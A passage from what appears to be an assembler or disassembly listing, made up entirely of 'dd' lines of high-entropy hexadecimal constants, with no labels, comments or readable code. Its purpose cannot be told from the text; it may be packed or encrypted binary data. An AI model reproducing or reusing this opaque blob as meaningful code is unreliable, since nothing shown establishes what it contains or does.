400182F6h, 7B4B7432h, 0EAC4EF73h dd 3A1A17CBh, 6AA42743h, 0C0B383A4h, 0A8137057h, 6040A792h dd 0B7F6B1DBh, 50ED5DF8h, 0BD06BC42h, 3171D7B0h, 436AF45h dd 0F5AC1AF0h, 0A989DA00h, 508E5CDDh, 2A209060h, 0C158B538h dd 0F8A63DD9h, 0E2208506h, 489180EBh, 3C467454h, 754F04B8h dd 0D244098Ah, 5464D9B0h, 21ED1101h, 381077DDh, 286B0020h dd 5888F9C8h, 61C83C07h, 0B18869C0h, 6E18E9BEh, 0F937288h dd 0ED453A88h, 6F23C4E0h, 0D57DD611h, 0A2568A1Ch, 9BA8643Bh dd 2EFE10D0h, 0BF90C165h, 0CDB21357h, 91A84082h, 818B1C7h dd 0EB1080CEh, 0C248A5D4h, 6D184E27h, 4A630FD9h, 89DE9C69h dd 0B9804FF0h, 0E4AC3978h, 4E241D16h, 2710B43Eh, 0BBCC04Eh dd 1F557061h, 121506B0h, 5E60676Ch, 0BB7295C1h, 88260C6Bh dd 0C802A16Fh, 0B7600C13h, 0DDF0A043h, 0A0252CA7h, 6DE16CCh dd 892872F9h, 521CB826h, 57AEE8F2h, 9A81914h, 17CDE738h dd 8788913Ch, 4411FCD5h, 3022FADCh, 406B6C50h, 0A72EB881h dd 121F2079h, 5E1A5B82h, 0E980A033h, 0EDC01Dh, 3F14AD94h dd 0F41F95A0h, 4DC0C94h, 81440392h, 2178B1F0h, 3DFC9E4h dd 9840A5FEh, 65AEE2BCh, 7E76004Bh, 0F5F0C52Eh, 0A4B088AFh dd 942CBD1Dh, 0CCA2079h, 31597CE1h, 0B5007069h, 58E67B85h dd 4A2BB0C3h, 0FC6E75h, 639087EAh, 49DD7BDh, 0E485A56h dd 0CABC9009h, 88B83069h, 23081548h, 0C8B30062h, 68EB726Bh dd 310030AEh, 621FC9CBh, 2432D7D3h, 0C4502F01h, 886D6065h dd 89BF25BDh, 7600F496h, 0E9378897h, 93C96D5h, 6E14616Fh dd 5F8A5403h, 88D08EEDh, 7023C74Ch, 0D42DD1DEh, 10807CB9h dd 44C463C6h, 1F4D2950h, 14C42854h, 5439BFCFh, 7C806F88h dd 6BE5889Dh, 177FBCh, 0CAE0BD0Fh, 6E7063E4h, 0A4131028h dd 81E5A121h, 726AC8B0h, 892718D3h, 0FBC9FC34h, 8DF47E03h dd 0E4EDDC8Fh, 0F4825C4Bh, 0A06032C8h, 0E020A3FEh, 97663929h dd 21F26045h, 1622C00h, 0A00249B6h, 267276BFh, 6C9647h dd 0B171FE2Ah, 4CB87F57h, 6204A48Ch, 30DCA124h, 80DE34B2h dd 1EEF247Ah, 9A026716h, 151071ECh, 1DF04052h, 0F9DC1313h dd 39DC425Ah, 0C821F6D8h, 12F7712Ah, 0C842C328h, 40A4A774h dd 0A0246D0Fh, 7C8BB2DCh, 2465800Fh, 0C097DFFCh, 578BC6E8h dd 9D00C452h, 0E28E5161h, 0B238B266h, 735C39D4h, 0EB4D5D9Eh dd 886A01ECh, 1871BEB0h, 77B4A822h, 54880290h, 17C6AA3Eh dd 454B50C0h, 88943658h, 6E1CF9Eh, 1848FE67h, 6F918889h dd 0A20094E0h, 9FD99A71h, 0BAD254EFh, 38A110B8h, 83EC0610h dd 24182030h, 5EC01D68h, 5F013B46h, 3EDB28DCh, 1026D988h dd 7CFD2569h, 0B27579h, 0A044CB9h, 270317E7h, 0FCD07A14h dd 97F60024h, 770AAF23h, 19040039h, 0B72CC194h, 0ED019637h dd 6B2EF4B4h, 0F024956Eh, 89B22760h, 0C63F5C1Fh, 5C1B1Dh dd 1FF06131h, 0DC0A56C6h, 8C6F505Fh, 4D715E04h, 8C7824C8h dd 0C2886804h, 0D08E61BFh, 8896750Eh, 10786C0h, 0C2037A46h dd 0D81384E7h, 4B389ECh, 7F54EC64h, 91EC9C72h, 443B0030h dd 3624B96Fh, 19500C1h, 0FEDC5C9h, 2A067069h, 7F9715B3h dd 43F70039h, 0B838830Ch, 74B04888h, 0F0C820h, 7A101169h dd 0E3F8B439h, 2844948h, 7229B60Dh, 0E250455Eh, 10184B63h dd 1EF90134h, 0A7DCBE30h, 2448DA6Ch, 0AC917FFCh, 6F60FC7Bh dd 1300DAE3h, 0FD863F45h, 0B1EFC44Eh, 5321176Ch, 8AF80820h dd 82DBDF8Eh, 5A26A8B2h, 3CA15274h, 0AE246702h, 0E84708DCh dd 241F8E00h, 9EB1CE7h, 0F1E5DDC8h, 90ED4427h, 44133C1h dd 0BD027FFAh, 0EFDEB429h dd 0B030E848h, 8FB1253Ch, 0CB1D1485h, 0C021C860h, 2F1C54B9h dd 844E3094h, 0C8A1220Bh, 60BCE83Ch, 72DA008Ch, 1CC210BDh dd 6801BF22h, 0F073DB0Eh, 58AE3B5Bh, 8000DC50h, 0F0B69D23h dd 5CDC37C7h, 0B3827CE3h, 84A57608h, 0E34A24Fh, 40A56554h dd 62963670h, 0F4FC30B9h, 9DD11DE9h, 114D2209h, 6EE0E1A9h dd 526A2020h, 6EB27C5Dh, 0DB3D30h, 82A78D0Eh, 7B3E4A05h dd 2DC3D550h, 8104DF58h, 2B7D2872h, 9BD88105h, 0CBE05483h dd 0CF0EC894h, 55CC9CA1h, 636F8A7h, 61DB9409h, 3D48488Bh dd 30342086h, 0FC876409h, 175429D6h, 81579154h, 924A5A58h dd 0D820F825h, 6BDC400Ch, 3F2181Dh, 0FCC7D8B0h, 0D4A9C025h dd 3136E156h, 0DBF3C100h, 28FF1EEEh, 0CDE3019Eh, 0CBECBDD7h dd 66498284h, 0C334C392h, 0F020C5A0h, 11349FDh, 8BDF22E6h dd 66933CCDh, 6A90240h, 0D180FE4Ch, 80B86584h, 0BD7A750h dd 0DD03E701h, 7B93F2B1h, 459CC715h, 2FC4177Eh, 93B232Ch dd 0B8E894D9h, 0BE00592Bh, 441B8F61h, 4878D0F3h, 4007D28h dd 825786F6h, 0B604AAB1h, 8C5FC0BAh, 2788E08Fh, 0ACAFCC0h dd 3E72F6B0h, 0C0D06208h, 0DADE0EACh, 8782AFA6h, 1478369Ch dd 0F4DB38B1h, 0D35AB660h, 0A5CBFE3Fh, 25EC043Dh, 0CC052B40h dd 0D13A1B6Fh, 0CD5C9D8Fh, 1DE46600h, 0A1A8BBB7h, 8C3278D8h dd 43C0F8F7h, 4B7EE0Ah, 7A886F83h, 0EE80C6D2h, 3F84F49Eh dd 6892430Eh, 244E30CAh, 10DCAD11h, 81825288h, 0C0BA2466h dd 9351754h, 68648E36h, 5FA10080h, 0C8BCAF5Ah, 4DA46086h dd 1F8C0039h, 6D352CA7h, 645AAFC9h, 0B9409810h, 0E3D230FAh dd 0CADB7F00h, 0B1D97352h, 3A104E4Eh, 4B601068h, 0FC33CC0h dd 0C001D9DDh, 0C94E3BCEh, 4DD31FBh, 0B09AA0A7h, 57445467h dd 50C65062h, 12C0B500h, 49CCC554h, 0F77E07B7h, 0A28FDCA6h dd 0BA03FD6Dh, 0DA4FC1A8h, 0A010F614h, 201071B3h, 9125B25h dd 0D02F1517h, 8B392323h, 7DB3F289h, 8FAD8400h, 730F072h dd 64655846h, 7FFB2D2Ch, 0FE04388Eh, 97009202h, 0B20698DAh dd 7206F8B6h, 0C3D8E7D0h, 8B30CB5Ch, 5612D847h, 0A4CE04C4h dd 304E2784h, 0A4E58516h, 249EFC88h, 3F696h, 4F069193h dd 677A3066h, 9B3D5C01h, 383CCBF2h, 0EC01B872h, 0BC8FDED9h dd 72003123h, 317DF2DCh, 0E664F8D5h, 0C2DB8E1Ch, 64D7D84Bh dd 2E784E04h, 2A2344h, 9B768CEFh, 0B70EB289h, 0C7976FA2h dd 699018DCh, 0C047BA60h, 6DC1DF31h, 76305B2Dh, 0CBE499EFh dd 22205B28h, 0ACA00D04h, 0F2926466h, 543B3C4Bh, 31027523h dd 8143B060h, 6AEC8740h, 3C41E869h, 4A8C7800h, 92760139h dd 0FC5DDBB2h, 0CED8541Eh, 0C02388E8h, 98249EB3h, 0A6872901h dd 39C711D3h, 594B3C52h, 1852F134h, 5E020512h, 0B050AFF0h dd 0C28840B8h, 418D0022h, 0C6EC16AEh, 504A29C4h, 0C961A080h dd 0ED140FFDh, 25A9F121h, 3FFA08C3h, 56485412h, 0C008F46h dd 88D8018Bh, 0FE5C0A92h, 709C80CCh, 1C5DD06h, 4BEFCDA1h dd 384A5B78h, 97709914h, 608AD18h, 71A0FE60h, 47E920A4h dd 0FF601D00h, 540EE79Dh, 74BBF2ECh, 0CCEB3D63h, 0B0455FA5h dd 526088E4h, 93FC65CFh, 0CD196160h, 3C60C518h, 0E9800A9Eh dd 29707E0Ch, 0FC2D5C57h, 119C823Eh, 2CE5D8D6h, 0DECC3F01h dd 30F601Ch, 40C8B9D6h, 58B0495Fh, 5E331300h, 7DD5A66Ch dd 55287009h, 0EB58A73Dh, 361AE5C1h, 2C38D4D5h, 0F8C14BCh dd 0DA110320h, 211A89A2h, 0DC6107C0h, 784F2EF0h, 2D23AC2Eh dd 0F6C3DA1Ch, 0F1099BDEh, 412BB660h, 0B9895C20h, 0A844EE24h dd 98D8C32Ch, 872A730Eh, 89C947D0h, 2190E4C0h, 6981C4CBh dd 58DC5C24h, 7C817063h, 3CF32461h, 8BB18004h, 976083h dd 0BFD0225Fh, 0A1B3C126h, 0A66BE30Eh, 44AD2B19h, 70F0919Ch dd 864B6Fh, 0AC2CA233h, 2EAE77B5h, 0FC30D773h, 377281F2h dd 541B0063h, 0D01789D5h, 24B65D49h, 61465Ch, 71FB2526h dd 7403B7D9h, 0A5200F8h, 6DB842FFh, 30205E4Fh, 0FD0C004Eh dd 61947E92h, 48758A8Ch, 0F4DB4600h, 8FB6D7E5h, 0A16A0A2Ah dd 809C54DEh, 0E12CFC4Ah, 4B004F12h, 58056303h, 427D79Ah dd 0BBF03335h, 0C8D88BCDh, 29C2CE8Bh, 2CF04B36h, 7F474BEh dd 0CDF0C808h, 4C1890ABh, 47887E97h, 16E13D7Ch, 0C4D37781h dd 2DD92CB1h, 107004D4h, 9013FC1h, 86127D1h, 2E34367h dd 7268C8B2h, 0EC67C3h, 77C9CA36h, 720166D9h, 7CF7C8C2h dd 78409201h, 0CDCEEBh, 98FAA51Dh, 8B92AF0h, 708B3D00h dd 0F791162h, 6C9128Fh, 0E08CF63Fh, 1D163907h, 1D34838h dd 0E918B213h, 0BC4C78C7h, 29008C60h, 0D7775FE8h, 0EE27C33Bh dd 5FD87DBFh, 0E2F8348Dh, 4E38B1E8h, 680CB50Ch, 4866C7B2h dd 2CB63B03h, 9464B894h, 67FAD204h, 8000A843h, 2707FDD9h dd 0F2B00FB1h, 37CC287Dh, 0F52AB20h, 2A7000D0h, 0B3A30A44h dd 0C8E50FF6h, 1481C160h, 4B7FD568h, 0C02AC8A8h, 0CB0D37DDh dd 0D2BAC902h, 407374F8h, 0B6C52CD0h, 3E3962F8h, 517F5402h dd 60F473B8h, 18D0C4EEh, 192BB160h, 61CE39E6h, 70BC2055h dd 31F1DBh, 18FF1BEBh, 0DD41087Bh, 334E2500h, 57970407h dd 69380123h, 775AD48Ch, 84092B52h, 0C4A4C5DFh, 0FE0C608Ah dd 8060BCCFh, 4D578BC7h, 0FB25DDECh, 6B948FCAh, 653CC263h dd 4E27E22Ch, 1FBAC718h, 0CC7BB5F3h, 92F1437Ah, 7900DC91h dd 3132E503h, 2C1409F8h, 0D423F20Bh, 990049D3h, 0FB26B486h dd 6DE8B5h, 8E384B4Eh, 3A0C40AFh, 8C173B79h, 348E101Eh dd 58C72188h, 0B0AB406Eh, 0E66FA664h, 10B6384Ch, 36FEDC0Ch dd 0F22FBDD1h, 50141909h, 0A0EFDD10h, 5E6C30F5h, 20901555h dd 8304FDCCh, 6D9BA8B3h, 17708480h, 0B899D1h, 0E7C74FAAh dd 24006880h, 0E846A790h, 0B06926Eh, 71D00BDEh, 0A68DCC63h dd 1E9AB028h, 1CC00FAh, 4BC1387Dh, 0BE0CA727h, 908783D8h dd 97B5F84Ch, 3DEE5C20h, 0DD7F22C5h, 0E440EC5Eh, 314A63FCh dd 0BF8B7474h, 3ED09308h, 392C42A0h, 2C4174C1h, 21A8EBFBh dd 0D9E8164Dh, 206CC93Dh, 344041C4h, 0DFD810B3h, 54755A80h dd 38B128A2h, 4AEB0C4Eh, 0C8008BACh, 4CB3C053h, 0FA74553Bh dd 0CB104Fh, 0E0C13B88h, 8C62CCC0h, 153088F2h, 3ACA049Dh dd 0B8F60AD2h, 8BD052Ch, 8C00948Ah, 0B6DDD611h, 0B1DB0B38h dd 0ECC89DFDh, 3B07D508h, 547F8401h, 67122D01h, 4D4E8E4h dd 0ADB1DC79h, 0BC68FC8Bh, 0D4018C24h, 5AB28919h, 106C7976h dd 0E3A5C84h, 0BE82FF54h, 917837D0h, 14F3BDECh, 88CD4BC1h dd 0F68C7DE8h, 0FB460F79h, 0F921BB3Ah, 503D4C55h, 4FD80AF4h dd 0F7156001h, 0FBFE8769h, 2D88D84Eh, 4B58C2C0h, 0B9D503D7h dd 84540122h, 0C7F8DE90h, 382EC896h, 3B2D465Ch, 4B74000Fh dd 66B0204Ah, 73F53EC9h, 0DCA0502Ch, 5CDFDD18h, 0A6F861h dd 539E85D6h, 73D371C4h, 56E7F012h, 0BBB0A442h, 0B2900598h dd 0B75C0484h, 8B2C48Ch, 643063F2h, 3DF3B01h, 46DFE92h dd 13BE250h, 0E077D8ABh, 8C68023Eh, 0D07C2CCFh, 0A7899B1Eh dd 4444C9DEh, 2F17DE8h, 0BEB36956h, 0FCED2BF9h, 222A0BE0h dd 0B446049Ch, 0C112B75Fh, 10C9C63Ch, 98CCEC11h, 0DADF4B00h dd 31ABC0C0h, 521F069Eh, 2A00C45Eh, 0B5E7F480h, 0B400CC53h dd 74A36CD7h, 0B8460558h, 518D2D09h, 98C4FC8Fh, 2D8491DAh dd 0DB5005Ah, 0F9A169F6h dd 8EE47465h, 0D8848A61h, 77096834h, 489E28Bh, 0EC842D1Dh dd 8F332CC1h, 0CA006429h, 4D325271h, 4C5BA14Ah, 0EF568002h dd 13507454h, 4BBCE6DAh, 7C23F42Bh, 717B4200h, 1A6BCCAh dd 10DDAB5Bh, 3AFB4B3Ch, 8B237C2Fh, 90B3EB02h, 69D47C4Ah dd 0CE0C1C37h, 12B0A73h, 0A0316518h, 3CEBDE5Ch, 4BE62544h dd 0DBD68888h, 12D45E3Ah, 0B018E634h, 6F2B20h, 0EC5369F4h dd 2CD53919h, 69CBD625h, 79851B1Ch, 0D0A4715Bh, 0E4A78620h dd 38909492h, 0A8B05604h, 44B3834Bh, 0CD302DB2h, 49A907CFh dd 90E92123h, 8BC3BF3h, 5727C577h, 91E89D0Bh, 0E20DC07Dh dd 203FB35h, 0EC8852F7h, 0E4F854BBh, 66E05805h, 8C417DB7h dd 5E101193h, 16E469FCh, 88D7A4CBh, 9FB564E8h, 4E2208A0h dd 0E17F0E62h, 46CCC89h, 18C88F8h, 5F08BA54h, 28D112F2h dd 0C0F10930h, 0CADC25ABh, 5FC7AC44h, 0C900BCF9h, 3BEEAFB2h dd 4177603h, 9892F912h, 5E5CD42Fh, 0BC007246h, 801A24ABh dd 0AC093F39h, 18BAAFBBh, 6E4A04h, 0A799DB23h, 502C26B6h dd 105EB090h, 2D23B82Eh, 805BB70Bh, 0F4D8634Dh, 0E1D11652h dd 0B268B6CDh, 424C7E3Fh, 34014DB2h, 0A8794854h, 2CE25027h dd 1FF44854h, 0D38636BBh, 0A150053Eh, 0A21000DEh, 0E5AFD387h dd 0A47A1000h, 1C4CDA60h, 625C00DBh, 0FE01BD70h, 17955A08h dd 802491BCh, 7447842h, 0DCB0B754h, 0E3811848h, 0B394406Fh dd 77E00EA2h, 50CDE400h, 6BA09D66h, 8FA3092h, 0F4C16038h dd 17579A27h, 4B14889Ch, 0E3D6D060h, 0EC235809h, 27CEF10h dd 7528C791h, 0D6647C1Dh, 9B33C502h, 0E064AF55h, 88C884E4h dd 5D4F4F81h, 0B03F1C6Bh, 0DDFABE80h, 3DB36FBh, 0C4DE5509h dd 1694F21Ch, 4B2BD8B3h, 0A8689250h, 0B500B7A9h, 3373F779h dd 3A16D377h, 0C989658Eh, 87189DEh, 0E8188B79h, 978913Ah dd 0F15E7B97h, 1861717Ch, 2A020104h, 0DFCE165Fh, 0F07EE67Fh dd 3700D917h, 1311C827h, 79636092h, 2CE0C597h, 8300FA90h dd 57D3DEBh, 9CDFF5C0h, 0C864805Ch, 95312B1Eh, 17DE0101h dd 2DB4610Fh, 0E6D08E4h, 9D3D8B5Fh, 0C8594F25h, 9000113Ch dd 96825048h, 0DB0B52h, 4D8DE061h, 0AE7C5ABAh, 0B4FCC500h dd 49706FA1h, 0DDD61656h, 101CA3F8h, 0CA0567F3h, 0A147CBFAh dd 30652F7Ch, 2723242Eh, 6107FE01h, 40CE7AF3h, 0B54FF274h dd 7D7D1019h, 4D0AC64h, 0ED2873F0h, 5CC40458h, 954F4140h dd 0C90B7422h, 82773950h, 25305B0h, 0B44241A9h, 61422C67h dd 62D9184Bh, 58C01C01h, 0B8863C5Bh, 45134C6Ch, 0F238B259h dd 32FF3028h, 3D119B00h, 0BD7EE7E1h, 67862D08h, 65AC8018h dd 2112C880h, 0CD965E7Dh, 0DB184F6h, 0A06CE02Bh, 0B0BEA31Ch dd 8DDC61EDh, 0B85D6432h, 4DE6D1B8h, 8A817401h, 2A7087FFh dd 23282F6Ah, 9A460063h, 0B3DCA9Fh, 4D7FC0E2h, 0EC166F5Eh dd 8025F4F0h, 0E52635DBh, 1DCE012h, 5EAEED7Eh, 50148644h dd 0DED48CE4h, 97CEC52Dh, 806E918Ch, 3B52666Dh, 0BCB801BBh dd 0C62C49D1h, 85606C8Ch, 0A85ED3h, 9428DAA5h, 0CAAB001Fh dd 0E2D209ACh, 5857606Fh, 3A70635Ch, 0F07A2F19h, 0EC4892F1h dd 364530BBh, 4864E6F2h, 784B2477h, 239F5CCBh, 0EB50E800h dd 5ADBE734h, 69D089DDh, 51123004h, 0B6820A05h, 0ED110FE8h dd 0A95E5B45h, 3959180Ch, 698439h, 0F130E5Ah, 0B0AE911h dd 0F4BB353Ch, 0ADB37A16h, 4AF908C8h, 80B0DE57h, 102CDEC3h dd 88990C18h, 0DBEA14ECh, 44984A5Ah, 4224433Ch, 3021A234h dd 10EC8198h, 0BCC468E1h, 0BD038C24h, 5403DE6Fh, 2FF1094Ah dd 0F4501B92h, 32BC3912h, 2DE234E3h, 0AA7330h, 5096AC49h dd 1EFE0FE0h, 0E49E515Eh, 12D3EF81h, 0BD01EA61h, 947D150Dh dd 1F0740ACh, 0E7706993h, 0C1835912h, 0FE6138A2h, 0DC026C68h dd 76033C28h, 7C806C5Eh, 0B14348EDh, 0B4D874B0h, 88721F30h dd 0AB1E296Bh, 983AEC53h, 0C7128A23h, 68D8F70Bh, 0FDB4F58h dd 0D6691FB1h, 0C4AD5BC1h, 2C3AB7h, 804DE6FAh, 927C0933h dd 788D20D6h, 63A23423h, 5759B30h, 38FFE9F9h, 0A64C03FDh dd 0C1F8D5E3h, 0EE16EAC0h, 0BCD02B2Dh, 4A7A0A52h, 3C649D66h dd 8C21AC84h, 3709EEE4h, 1712DB0Ah, 8E219114h, 0DE69C215h dd 6F286858h, 0E1E400AAh, 0DC7E8AF4h, 711D1EFCh, 0E59268BEh dd 4FBD0C91h, 4001F860h, 0C01C93Bh, 406608E0h, 2C6854EEh dd 0FCB3FE04h, 84871E21h, 3313B06Fh, 92F01556h, 0B500EC74h dd 3678A8D5h, 0CD0F219Dh, 0FE527318h, 4916ED07h, 0E2C0452Bh dd 53184B61h, 9FE16DFh, 0F120A26Eh, 730C4E22h, 108C6125h dd 48278F18h, 25007452h, 616F48B7h, 0CB8D9DDh, 0ACC8C12Ah dd 5CEF8401h, 25F9DC64h, 0E525180h, 19BFB254h, 22D68AECh dd 1466B8B0h, 1408D6DCh, 0D7380B00h, 8EE3B131h, 91449D9Fh dd 102E800Eh, 3ECC356Dh, 9C837887h, 0F2AE4C70h, 175D682Fh dd 4B6D08D0h, 195E4D60h, 3BD6EEC6h, 93DF219Ah, 46E1D3F8h dd 0C653E8ACh, 0FD0B4300h, 0D86DD6BEh, 0F7ED02C4h, 242087DEh dd 374C1060h, 0D0A059D7h, 0FD0727BCh, 8E448867h, 34C1C860h dd 0B0ADF550h, 30C20824h, 0E1407E44h, 0AC3B05BBh, 5E06E00Fh dd 0CCF013F8h, 7FB22F35h, 0D95FEC80h, 121EECCAh, 0DA4055A1h dd 5A08BFE6h, 0F6C4AA86h, 634674E4h, 2F24200h, 0DF3E4FEDh dd 34CCFC2Eh, 5574676h, 0C0EE26A4h, 0B31658FDh, 3A4217CEh dd 0E48C7BDCh, 138E03F9h, 574FB0B3h, 0C085E84Fh, 0C9B89CADh dd 282FD00h, 5CEC5A8Dh, 4C90277Bh, 0A970EC07h, 28823C0Eh dd 0B8642269h, 0DE0B2C17h, 3CB99CC5h, 860FD7B8h, 0A0A43C48h dd 0C292F104h, 0F05E027Ah, 7BFE15EBh, 0BC7BA0F1h, 0A8E72960h dd 0E2D48097h, 623F26B5h, 4951C017h, 33C10900h, 7638927Dh dd 28659559h, 0F907FB85h, 0C60A64C1h, 0B2602C6Fh, 1DCA6425h dd 804C9140h, 5FDE063h, 194560C7h, 0F4125E81h, 251640FCh dd 0DC0294E3h, 814CF80Eh, 77EBA8F7h, 0EC04B8BEh, 0A45C5435h dd 0EF127E4Ch, 78E8F1E8h, 0B144205Ah, 1E0313BFh, 1DE4B7DBh dd 0D85EEADCh, 2CCD2024h, 62705C00h, 813D0888h, 0E0406FDAh dd 5CB4B412h, 0F15FEC0Bh, 68140436h, 41F65E0Fh, 63A8B3CCh dd 0F8B40066h, 0B33E4A26h, 0F0E44614h, 164C48F2h, 18CBEC94h dd 5FED8D1h, 0DCB4B0BAh, 3022465Eh, 0DCBF8EA8h, 83EC12D1h dd 0FCACA0C4h, 0C757716h, 3DE234CCh, 9E5AE4EBh, 0A29F8EF4h dd 0C80CBC86h, 4094EBACh, 0B600C6D3h, 0D218FC5Eh, 4A4469D6h dd 0C8808E2Ch, 1898C053h, 0D5167140h, 0A488775Ah, 21C020B3h dd 0EE88DEECh, 27393D0Fh, 0B7DA9000h, 0ED30D14h, 21ED6909h dd 58B07B78h, 0A64FBB06h, 87A7D800h, 9583C10Bh, 0FDAC24C3h dd 9FDC2D74h, 808911E0h, 0F7072CE7h, 165D7C35h, 3E8DB7D1h dd 3B23B4h, 56B75F42h, 0ED2FDC9Dh, 0C43C2033h, 252CE31Bh dd 38B512DEh, 2DD51787h, 0D8C4DE20h, 7D1A02B7h, 0CB0AD382h dd 0D037F0A9h, 65A2A300h, 94E59971h, 686B8F54h, 5E3B33E3h dd 83205C98h, 2C58D328h, 9AE38105h, 8480E0F6h, 5B64598h dd 14DC326h, 446B3Fh, 0E6802861h, 3AFCDE5Ah, 75A45B58h dd 54A36738h, 0C0E70F23h, 77C136B1h, 6AD4A173h, 2B08C92Ah dd 8C001C6Ah, 4BD476F5h, 0B702ED2Ah, 0EC36F03h, 95B87850h dd 73403CCFh, 38D7D95Bh, 40092024h, 60C8C486h, 0DF50E5C9h dd 46F61944h, 0EB00E276h dd 153AFE74h, 71B15F7Fh, 898727B0h, 0DCFE9CE4h, 8E0939C0h dd 4B73DBh, 78105370h, 9BD1ACBEh, 740B6D5Bh, 58C453CDh dd 17D4A9Eh, 0A82A6807h, 4C72240Bh, 76707E8Bh, 894E3821h dd 2010DFDBh, 1839904Ah, 0CD3380E0h, 4E1C1EBFh, 0B86017C0h dd 3410C8A7h, 7300E878h, 0A54F42Ch, 1CB1EFA2h, 4B8DD8C6h dd 67058261h, 0B060A65Eh, 23781FEh, 5A835697h, 0D4FC6F84h dd 0A55C7B69h, 0B505C73h, 0EFD80A0Dh, 2DF811A8h, 57642047h dd 87DF2D60h, 10C3AC5Eh, 5E7F8A5Bh, 2600D664h, 0A56B3236h dd 0FA53A13Dh, 8DE82F0Bh, 2091409Dh, 0AEDBE980h, 0C1016CF9h dd 0EFDE16C4h, 0A8A5388Ch, 0D44ADC5Ah, 7948B5h, 0AA1410ACh dd 2880DE8Ch, 0F4AAA412h, 6370D873h, 0C1AE0F4Dh, 0C360610Ah dd 0C2BCAFEDh, 1E78D17Ch, 0AB958C18h, 33B411h, 273FED1Ah dd 0F1771C5h, 21CC08CCh, 1BF81CFBh, 0B783C1C7h, 209031D3h dd 0C8069EA9h, 0C191B343h, 6C940328h, 0BD4E2D3Eh, 648A72B0h dd 9EB0E800h, 0D4DA0CBh, 0C2DA409Bh, 69EEF100h, 0C8EA4023h dd 0F0A701CEh, 8D39CAAFh, 0E66DE08Bh, 4F974C00h, 84EB141Ah dd 342000BFh, 0BD0592DCh, 0D8BF3155h, 6AD8381Ah, 3E8500Eh dd 58200218h, 8906C372h, 81042444h, 21176009h, 84C35040h dd 0E00B3203h, 939D0953h, 5E501018h, 0E522358h, 8944C35Ah dd 20196254h, 0B2C35242h, 0C0776C00h, 0F28BE04Dh, 0F9CC1FCh dd 0B2016588h, 30565828h, 89E4C35Eh, 1D227446h, 0C3564600h dd 9998BA1Eh, 15776B5h, 8BE56F4Ch, 0C207B9FAh, 8314111Fh dd 708B0F9Dh, 83F9149Bh, 19BC26C1h, 47A5078Ch, 42DE7DD4h dd 0C942B58Bh, 0BE66A700h, 3B06DC09h, 0E0860FD9h, 0E7810F37h dd 40A36803h, 2EFD8C66h, 16233Ch, 0F72EFECh, 19C1068Ah dd 2C19B52Bh, 0BD097E87h, 0F60C3C71h, 0F04C105h, 9B329684h dd 0C35B3053h, 5C4689E4h, 43001822h, 1467C353h, 0C23A9A8h dd 2AC595FFh, 9D18895Eh, 5B0C1B35h, 0B1BD128Bh, 0C3504F02h dd 20AD8DE3h, 343D100Dh, 88035008h, 618D5350h, 0FF301AA2h dd 2D7106E0h, 76EF273Ah, 35318120h, 3A5B2BE9h, 1B2366h dd 3CE9B009h, 0D5EAC5AAh, 29C08B03h, 7825A585h, 0C37A60h dd 0E638BFD8h, 0BE83A80h, 7A7743C0h, 720F70B0h, 5C08019Ch dd 81664DAFh, 5E45C8C7h, 50EF85E8h, 841D77D2h, 51A891E7h dd 22C35987h, 819C4C89h, 0C3514101h, 58401E43h, 0C1D60F4h dd 3209B523h, 2AA5C0A3h, 0E0671CC4h, 9DDF8717h, 0BF86D301h dd 0B589F85Eh, 5A8F1AFDh, 16CCBD81h, 0C292D00Ch, 35850F12h dd 1823C73Fh, 698F4C00h, 2466BA17h, 8A3F18Bh, 0FF0A06C9h dd 0F3203985h, 1930B932h, 0EF8110B5h, 54E34C09h, 154D0240h dd 99852110h, 23900307h, 5F0E579Ch, 7C8944C3h, 47201562h dd 4C6BC357h, 0D51092DAh, 0BF661E0Eh, 5B3ACDD2h, 32011523h dd 65950918h, 2C0EA855h, 13B701Dh, 2B0DA130h, 1B54DDBDh dd 2383317Bh, 5D0E5576h, 6C8944C3h, 4500698Eh, 0D74FC355h dd 300253C6h, 564D4A01h, 841C6360h, 0B09E946h, 0DD01AD16h dd 2A9ECC00h, 1C8B4AA0h, 686160D9h, 0C9BD7295h, 0C190E8BBh dd 440F7C2Ah, 42D4C118h, 405FF88Bh, 53F0EE79h, 1CA2BB94h dd 3D5C30h, 786CCD7Dh, 3188FDFCh, 0C1D5BD24h, 10E9F589h dd 36B94B9h, 10DEDC17h, 1E19956h, 0F1212093h, 0FED92B41h dd 1E39A241h, 4011A848h, 241CE90Bh, 0B273FFF7h, 0BF29D8C6h dd 13767570h, 6FC18B49h, 55780022h, 34E5628Bh, 952EC3C5h dd 741413F9h, 99BD04EBh, 0A99279D6h, 0ED070451h, 0F85F0328h dd 2929C78Dh, 80A0B709h, 45750647h, 1081B0Fh, 2063FA03h dd 126891E5h, 0F8BB0590h, 2E598150h, 0A082E66Fh, 3D800855h dd 1E099501h, 2F4708A2h, 0DC601D44h, 5DF4503Ah, 3D762171h dd 4E40661h, 0C80EEE3Ch, 2167C215h, 9896841h, 40060C91h dd 2A4091BDh, 48F5B061h, 900C21C0h, 10250FE8h, 0A56B1207h dd 2DA0671Bh, 0A3DFC38h, 94ED015Dh, 505F898Fh, 0F904E80h dd 6A58F3B7h, 8C1DECA3h, 17633900h, 71A287C4h, 0E44B24FFh dd 23850A4Ah, 0F5041B0h, 722C4680h, 6E5FF626h, 8D27E918h dd 76D8E29Dh, 0D1B291EDh, 0F82D1814h, 28DFF8F6h, 0B19402B4h dd 0D3FF021Eh, 90908C0Fh, 0BC10AE9h, 901FEAF1h, 134BFBC4h dd 45D3BB0h, 151C49D1h, 613E05FCh, 0F6926CE9h, 5DCC91E8h dd 0AA0EEDFCh, 0E9CF40F7h, 612CB316h, 73018E86h, 3015E258h dd 330906D2h, 21012DB5h, 1E719DFDh, 1CE2A533h, 1D3E0A30h dd 12B8434h, 8148616Bh, 7301C1E3h, 301CE238h, 8D012708h dd 0ADA1CF05h, 0BF204CDCh, 0B0E40C1h, 22B1DB58h, 8E8958A8h dd 93BD83C1h, 7A7443Ah, 85D8498h, 465CD04Ah, 0F1290119h dd 1458D0E6h, 52196990h, 0E9F38246h, 91359D92h, 0E090811Bh dd 0C9F4DF98h, 0BBEF20Bh, 289F6F92h, 2E6A9088h, 5BE98DD0h dd 0F1BB360Bh, 0C57F76B2h, 8188C4D7h, 411E17Fh, 6A0A3827h dd 2C144676h, 5508DB85h, 0FDB58425h, 188D090Ch, 3923813Ch dd 9173FEFFh, 1815D142h, 90F8FA46h, 75DE71B5h, 0DB8C3124h dd 12E3D70h, 0F828C3F6h, 851F9225h, 578E1711h, 60F78062h dd 0A7000166h, 6D9920D1h, 7310AE6Bh, 20AC9086h, 614B0829h dd 896F0E35h, 